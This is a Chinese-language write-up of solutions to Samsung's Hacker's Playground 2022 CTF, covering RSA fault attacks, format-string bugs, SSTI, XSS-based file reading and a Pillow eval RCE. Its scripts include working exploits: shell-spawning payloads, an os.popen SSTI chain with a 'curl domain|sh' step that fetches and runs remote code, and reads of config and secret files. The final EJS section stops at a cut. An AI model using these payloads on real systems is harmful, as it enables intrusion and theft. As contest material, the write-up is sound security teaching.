Hacker's Playground 2022 WriteUps

在防疫旅館的期間以 TSJ 參加了三星辦的 24 小時 ctf,最後拿了第 6 名,有些題目蠻有趣的所以也寫個 writeup。

[Pwn/Crypto] Secure Runner

這題的 elf 逆向一下可以知道它一開始先生成 RSA key,public key 會提供給你,之後可以讓你選擇幾個預先設好的指令的 signature。執行指令的話需要同時輸入指令和對應的 signature 才能執行。

另外它還有藏一個只能使用一次的 format string attack,長度也只有 4 而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 onechance()
{
int offset; // [rsp+4h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
char s[5]; // [rsp+13h] [rbp-Dh] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = heap;
if ( !usedFlag_5095 )
{
usedFlag_5095 = 1;
__isoc99_scanf("%d%*c", &offset);
v2 += offset;
fgets(s, 5, stdin);
if ( !strchr(s, 's') )
printf(s);
}
return __readfsqword(0x28u) ^ v4;
}

這邊的 heap 是 heap 上的某個 chunk,所以可以讓 stack 上有個任意 offset 的 heap address 方便使用。而 s 因為被 ban 了所以代表這邊不能讀,只能寫而已。

因為題目在做大數的時候是使用 GNU MP 的 mpz,它會把數字東西也存在 heap 上,這代表可以透過控制 offset 去 corrupt key 的某些部分。而 key 本身是個 struct,格式大概是這樣,每個都是一個 16 bytes mpz,大概是存 metadata 和 pointer:

1
2
3
4
5
6
7
8
9
0: p
16: q
32: n
64: e
80: d
96: dp
112: dq
128: p-1 後來變成 (q^-1 mod p)*q
144: q-1 後來變成 (p^-1 mod q)*p

這題在 verify signature 的部分是直接檢查 是不是要執行的指令,所以這邊如果更改 的話就能有些利用空間。

因為 format string 長度只有 4,算了一下知道 heap address 的 index 是 7,所以唯一可能的打法是 %7$n,把某四個 byte 設為 0 而已。這邊就讓我想到了今年 crypto ctf 的 Fiercest,所以就直接爆搜看看修改哪幾個 byte 可以讓它變為質數,這樣就簡單了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from Crypto.Util.number import *

# io = process("./SecureRunner")
io = remote("securerunner.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def find_flip(n):
for i in range(0, 2048, 8):
nn = n & ~(0xFFFFFFFF << i)
if isPrime(nn):
return nn, i // 8
raise Exception("Unlucky")


p, offset = find_flip(n)
print(p)
io.sendline(b"9999")
io.sendline(str(-0x880 + offset).encode())
io.sendline(b"%7$n")
io.sendline(b"2")

d = pow(e, -1, p - 1)
cmd = b"sh"
sig = pow(bytes_to_long(cmd), d, p)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{sm4LL_but_b1g_en0u9h_f4Ul7_to_br3ak_RSA_5c3829d4}

[Pwn/Crypto] Secure Runner 2

這題和前一題類似,但是它 signature verification 的部分是先計算 ,而不是直接拿 key 中的 來用。

雖然是可以 corrupt 或是 ,但是想了想好像沒什麼用。

另外看到它 sign 預先定義的指令的地方可以知道它不是直接 ,而是使用 RSA CRT 的簽章方法,所以就想到了 Fault attacks on RSA's signatures

然而這題它生成 key 的時候還有多計算 ,而 sign 之前也會檢查過這四個值的完整性,所以想透過改 然後用 CRT fault 去 gcd 是不可行的。

不過再稍微查一查就能找到 Modulus Fault Attacks Against RSA-CRT Signatures,它產生 fault 的地方是 ,所以會有個 。要使用這方法的條件是要能得到 signature 的值才行,而這個正好在這題是都能達成的。

這個方法比較麻煩的是它用了 orthogonal lattice attack,所以實作不簡單,所以我是先直接按照它的方法實做一份出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from sage.all import *
from Crypto.Util.number import *
from itertools import combinations

p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
dp = d % (p - 1)
dq = d % (q - 1)
crtp = pow(q, -1, p) * q
crtq = pow(p, -1, q) * p

# fault
n2 = n & ~0xFFFFFFFF

def crt_sign(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n

def crt_sign_fault(m):
sp = pow(m, dp, p)
sq = pow(m, dq, q)
return (sp * crtp + sq * crtq) % n2


def get_v(m):
s1 = crt_sign(m)
s2 = crt_sign_fault(m)
return crt([s1, s2], [n, n2])


l = 5
vs = [ZZ(get_v(randint(2, n))) for _ in range(l)]
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1*M1.T).det()))
print(M1.change_ring(Zmod(100)))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L*L.T).det()))
print(L.change_ring(Zmod(100)))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1:
print("g", g)
print(n)

然後把它修改一下整合到原本 pwn 的腳本去就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from sage.all import *
from Crypto.Util.number import *

# io = process("./SecureRunner2")
io = remote("eca189e9.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def factor(vs):
l = len(vs)
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1 * M1.T).det()))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L * L.T).det()))
LT = L.LLL()[:, -l:]
for z in LT:
d = vector(vs) - z
for t in d:
g = gcd(t, n)
if g != 1 and g < n:
return g


normal_sigs = []
fault_sigs = []
for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
normal_sigs.append(int(io.recvline()))

io.sendline(b"9999")
io.sendline(str(-0x880).encode())
io.sendline(b"%7$n")
n2 = n & ~0xFFFFFFFF

for i in range(5):
io.sendline(b"1")
io.sendline(str(i).encode())
io.sendline(b"3")
io.recvuntil(b"sign = ")
fault_sigs.append(int(io.recvline()))

vs = [crt([x, y], [n, n2]) for x, y in zip(normal_sigs, fault_sigs)]
p = factor(vs)
q = n // p
assert p * q == n

d = power_mod(e, -1, (p - 1) * (q - 1))
cmd = b"sh"
sig = power_mod(bytes_to_long(cmd), d, n)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{RSA_mOdulu5_f4ult_1nj3t10n_4tTack_w1th_9R3A7_LLL}

這題還有些有趣的 unintended,像是它雖然會用 xor 檢查完整性,但是那個是在 sign 的時候才會用到,所以只要不用到 sign 的功能時就能改其他參數。以第二題的 rsa key 來說它一共有這些參數:

1
2
3
4
5
6
7
8
9
10
0: p
16: q
32: n
48: e
64: d
80: dp
96: dq
112: p-1 後來變成 (q^-1 mod p)*q
128: q-1 後來變成 (p^-1 mod q)*p
144: p xor q xor dp xor dq

一個改法是修改 得到 ,然後使用它的選項 0 可以得到 ,這樣和原本的 xor 就能得到 。不過此時 signature verification 使用的會是 ,所以如果 不好分解就糟了。不過這其實也好處理,就學第一題的概念,賭 是質數的情況就能解決了。如果 非質數就斷掉重來即可。

另一個做法是修改 112 和 128 的 crt coefficients 。因為我們知道 CRT RSA 的 signing 等式長這樣:

如果改掉 的 lsb 會得到 ,然後再 sign 一次得到另一個 signature :

此時兩個 signature 的差:

的部分用 %7$n 去蓋的話最多也才 個可能,再者我們還可以把 offset 往前調一些(有 heap chunk padding 所以不會搞壞其他東西)讓 的範圍只有 。然後爆 之後開 再 gcd 即可獲得

[Crypto/Web] CUSES

cookie 是 AES CTR 加密的,flip username 的 guestadmin 就有 flag 了。

[Misc/Web] 5th degree

就它會給一個五次多項式,要在一個給定範圍中找出極大極小值,需要在一分鐘內解完 30 題才有 flag。

基本上 sage 弄一弄就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
import httpx


def solve(tex, lb, ub):
eq = re.sub(r"(\d)(x)", "\\1*\\2", tex.strip()).replace("^", "**")
print(eq)

P.<x> = ZZ[]
y = eval(eq.replace("y = ", ""))
ps = [x for x in y.diff().roots(multiplicities=False) if lb <= x <= ub]
ps = [lb] + ps + [ub]
ys = [y(x) for x in ps]
return min(ys), max(ys)



cli = httpx.Client(base_url="http://5thdegree.sstf.site/")
page = cli.get("/chal").text
for _ in range(30):
print("Round", re.search(r"Round (\d+)", page).group(1))
tex = re.search(r"\\\[(.*?)\\\]", page).group(1).strip()
print(tex)
m = re.search(r"\\\( ([\-0-9]+) \\le x \\le ([\-0-9]+) \\\)", page)
lb = int(m.group(1))
ub = int(m.group(2))
print(lb, ub)
mn, mx = solve(tex, lb, ub)
print(mn, mx)
print()
page = cli.post("/chal", data={"min": mn, "max": mx}).text
print(page)
# SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}

[Web] Online Education

這題用負數繞過一些東西,然後因為 re.match 只有檢查 email 的開頭,所以後面可以加一些 js 讓它被 html -> pdf 的工具執行,這邊就能 lfi leak config.py 得到 flask secret,然後 sign 新的 session 變 admin 拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

xss = """
<script>
var xhr = new XMLHttpRequest
xhr.open('GET', 'file:///home/app/config.py', false)
xhr.send(null)
document.write(xhr.responseText)
</script>
"""
cli = httpx.Client(base_url="http://onlineeducation.sstf.site/", follow_redirects=False)
r = cli.post("/signin", data={"name": "peko", "email": "peko@gmail.com" + xss})
for i in range(3):
print(i)
cli.post("/status", json={"action": "start"})
cli.post("/status", json={"action": "finish", "rate": -1})
pdf = cli.get("cert").read()
with open("cert.pdf", "wb") as f:
f.write(pdf)
# secret_key 19eb794c831f30f099a31b1c095a17d6
# flask-unsign -S 19eb794c831f30f099a31b1c095a17d6 -s --cookie "{'email': 'peko@gmail.com', 'idx': 3, 'is_admin': True, 'name': 'peko'}"
# SCTF{oh_I_forgot_to_disable_javascript}

[Rev] FSC

這題有個單純用 C 的 printf format string 寫個 flag checker,但我不知道怎麼逆這種東西,所以把它當作黑箱來處理了。

透過改變一些輸入的值可以之看出它應該是個 下的矩陣乘法。原則上它計算就是先把 input 全部減一得到一個 vector ,然後有預先定義好的 matrix 和 vector

check 的部分就是看 是不是 而已,所以透過改變一些 的值可以得到整個 ,然後 sage 解開即可。

解出來的會發現它有些值不太對,因為矩陣的 kernel 非零,不過用一些方法得到 kernel 之後會發現它的值都只是幾個 index 會變 128,所以就把超過範圍的值減掉 128 就能拿到 flag 了。

dump :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <string.h>

#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";

unsigned char f[1337]={0,};
unsigned char oldf[1337]={0,};

char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
)M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
)R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
(66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
)F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G

#define fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
[29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"

int main(){
char out[10000];
// print a transposed matrix A (mod 256)
for(int k=0;k<30;k++){
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
memcpy(oldf, f, sizeof(f));

memset(f, 0, sizeof(f));
f[k] = 2; // to observe changes
sprintf(out,have,fun);
printf("[");
for(int i=46;i<=104;i+=2){
printf("%d, ", f[i] - oldf[i]);
}
printf("],\n");
}

// print target vector
memset(f, 0, sizeof(f));
sprintf(out,have,fun);
for(int i=46;i<=104;i+=2){
// printf("%d: %d\n", i, f[i]);
printf("%d, ", f[i]);
}
puts("");
}

solve:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],
[0, 2, 0, 0, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, ],
[1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],]).T
rhs=vector([112, 117, 20, 46, 124, 13, 108, 11, 188, 153, 184, 171, 9, 186, 99, 51, 249, 16, 118, 84, 188, 239, 24, 85, 47, 194, 170, 50, 156, 231])
sol=A.solve_right(-rhs)
print(bytes([x-128+1 if x>=128 else x+1 for x in sol]))
# SCTF{just_a_printf_is_enough!}

[Misc] Flip Puzzle

就一個類似 15 puzzle 的遊戲,一樣是 4x4。它一開始會從初始狀態隨機移動 11 步,之後你要在 11 步以內走回初始狀態即可獲勝一輪,要獲勝 100 輪才有 flag。另外整個需要在 50 秒內完成。

我的作法很簡單,因為 並不是很大,所以直接 dfs 全搜索,然後建表紀錄一個每個節點的上一個點是誰,還要稍微用最短路的 relax 概念處禮一下。

之後就上面上的表直接去查該怎麼走回起點這題就結束了。

建表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",")
board = [board[i : i + 4] for i in range(0, len(board), 4)]
print(board)

par = {}


def dfs(x, y, board, depth=0):
if depth == 11:
return
parhash = "".join(["".join(x) for x in board])
for dx, dy in [(0, +1), (0, -1), (+1, 0), (-1, 0)]:
xx = (x + dx) % 4
yy = (y + dy) % 4
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
curhash = "".join(["".join(x) for x in board])
if curhash not in par or depth < par[curhash][2]:
par[curhash] = ((-dx, -dy), parhash, depth)
dfs(xx, yy, board, depth + 1)
board[x][y], board[xx][yy] = board[xx][yy], board[x][y]


dfs(0, 0, board)
print(len(par))
print(board)

import pickle

with open("par.pkl", "wb") as f:
pickle.dump(par, f)

解題:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import pickle
from tqdm import tqdm

with open("par.pkl", "rb") as f:
# python bb.py
par = pickle.load(f)


def recvboard(io):
s = ""
for _ in range(4):
s += io.recvlineS().strip()
return s


# context.log_level = "debug"
# io = process(["python", "app.py"])
io = remote("flippuzzle.sstf.site", 8098)
for rnd in tqdm(range(100)):
io.recvuntil(b"Current Status :\n")
cur = recvboard(io)
dirs = []
for _ in range(11):
d, nxt, _ = par[cur]
dirs.append(d)
cur = nxt
if cur == "ABCDEFGHIJKLMNOP":
break
io.sendline("\n".join([",".join(map(str, x)) for x in dirs]).encode())
io.interactive()
# SCTF{what-is-your-favorite-algorithm_0x38dc129?}

[Web] OnlineNotepad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates


app = FastAPI()

userinfo_path = "userinfo"
memo_path = "memo"

app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])


userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""

memofile_raw = """<html>
<head>
<title>Online Notepad</title>
<link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
{%% import userid+".j2" as user %%}

{%% if userid == user.userid %%}
{%% if password == user.password %%}
<h1>Hello {{ userid }}</h1>
<h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
{%% else %%}
<h1>Login Fail</h1>
{%% endif %%}
</div>
</body>
</html>
"""

class Memo(BaseModel):
userid: str = Field(min_length=5, max_length=20)
password: str = Field(min_length=5, max_length=20)
memo: str = Field(min_length=1, max_length=64)

@validator("userid")
def val_userid(cls, v):
if v == "admin":
raise ValueError("access denied")
if v.isalnum() != True:
raise ValueError("userid cannot contain a special character")
return v

@validator("password")
def val_password(cls, v):
if ("\"" in v) or ("/" in v):
raise ValueError("password cannot contain a special character")
return v

@validator("memo")
def val_memo(cls, v):
if ("{{" in v) or ("}}" in v):
raise ValueError("memo cannot contain a special character")
return v


@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
global userinfo_path, memo_path
global userinfo_raw, memofile_raw

userinfo = userinfo_raw % (memo.userid, memo.password)
open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)

memofile = memofile_raw % memo.memo
open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)

return memo

@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
global userinfo_path, memo_path

try:
if (
(userid.isalnum() == True) and
os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and
os.path.exists( os.path.join(memo_path, userid+".html") )
):
return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
else:
return templates.TemplateResponse("readfail.html", {"request": request})
except Exception as e:
print(e)
return("Exception")

@app.get('/')
async def index(request:Request):
context = {"request":request}
return templates.TemplateResponse('index.html', context)


if __name__ == '__main__':
uvicorn.run(app, host="0.0.0.0", port=35547, headers=[("Server", "FastAPI")], log_level="info")

可以看到它會寫入 template 然後可以 SSTI,raw 因為是用 %s 注入的所以 memo 用 endraw + raw 就能 SSTI。

PS: %% 在 python 的 % formatting 是 % 的 escape,所以它其實沒重複 %

至於阻擋 {{` `}} 的部分就用 {%set a=7*7%} 這樣去繞過。但是另外的問題在於 memo 長度只有 64,短到不知道該怎麼弄足夠的長度去 rce。一個常見的技巧是使用 flask 的 config.update(a=lipsum.__globals__),去暫存一些值,然後之後再 config.a.os 這樣去存取,長度就能變短。但是 config 這個變數只有在一般的 render_template 的環境下才存在的樣子,在這邊的 TemplateResponse 中是無法使用的。

後來我注意到 password 也屬於同個環境,同時也沒有很嚴格的限制,所以就發現這個 payload 長度就剛剛好 64:

1
{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}

因為 password 長度限制只有 20,所以這邊會需要一個夠短的 domain 能塞 curl domain|sh 才行,所以這後面就給有短 domain 的 splitline 處理了。

另外這題還有個方法不用 short domain,概念上很類似前面使用 config 的手法。關鍵就是我們可以用多個帳號寫多個檔案,然後利用 {%set a = ???%}{%include 'other.html'%} 這樣去組合即可。

例如 p1.html 裡面放:

1
{%set a=lipsum%}{%include 'p2.html'%}

然後 p2.html 裡面放:

1
{%set b=a.__globals__%}{%include 'p3.html'%}

然後之後就 p3.html, p4.html 繼續這樣下去就能繞過長度限制了。

[Web] Imageium

這題是個圖片的 channel mixed 的服務,可以用下面網址提供參數得到不同的圖片:

1
http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb

另位題目有註記說是 Pillow 8.2.0,能查到 CVE-2022-22817,說是 PIL.ImageMath.eval 是可以直接 RCE 的,所以直接塞點其他東西進去就拿到 flag 了:

1
http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read()

下面是和解題無關的一些題外話:

這個 cve 最一開始的 patch 是 Restrict builtins for ImageMath.eval,有玩 pyjail 的很容易就能看出那很容易用 lambda 繞過,所以應該又有一個 cve...?

後來才發現到目前的 9.1.0. 之後已經有用 Restrict builtins within lambdas for ImageMath.eval 去 recursive 檢查 co_names,而這個方法至少我是想不到辦法繞過的,所以應該是安全的。

[Web] JWT Decoder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;

app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
let rawJwt = req.cookies.jwt || {};

try {
let jwtPart = rawJwt.split('.');

let jwtHeader = jwtPart[0];
jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
jwtHeader = JSON.parse(jwtHeader);
jwtHeader = JSON.stringify(jwtHeader, null, 4);
rawJwt = {
header: jwtHeader
}

let jwtBody = jwtPart[1];
jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
jwtBody = JSON.parse(jwtBody);
jwtBody = JSON.stringify(jwtBody, null, 4);
rawJwt.body = jwtBody;

let jwtSignature = jwtPart[2];
rawJwt.signature = jwtSignature;

} catch(error) {
if (typeof rawJwt === 'object') {
rawJwt.error = error;
} else {
rawJwt = {
error: error
};
}
}
res.render('index', rawJwt);
});

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something wrong!');
});

app.listen(PORT, (err) => {
console.log(`Server is Running on Port ${PORT}`);
});

可以看到說它做的事就只有 decode jwt 然後重新 format 而已,看不出什麼洞來。雖然 res.render('index', rawJwt); 會讓我想到 echoecho2 兩個題目,但是根據它 decode JWT 的方法應該是沒辦法控制其他 options 的吧...?

當然,無法控制其他 options 這點當然是錯的,不然這題就不可解了。關鍵是在 let rawJwt = req.cookies.jwt || {}; 的地方,因為 express cookie 支援了一個 JSON cookie 的功能,在遇到 j:{"a": 123} 這樣的 cookie 時會嘗試去 decode,所以 rawJwt 其實可以是自己的 object。後面 split 會有 exception,但是因為會 catch 所以還是能讓自己的 payload 進到裡面。

再查一些資料之後能找到 CVE-2022-29078,google 一下就有 exploit 可用,所以這樣即可 rce:

1
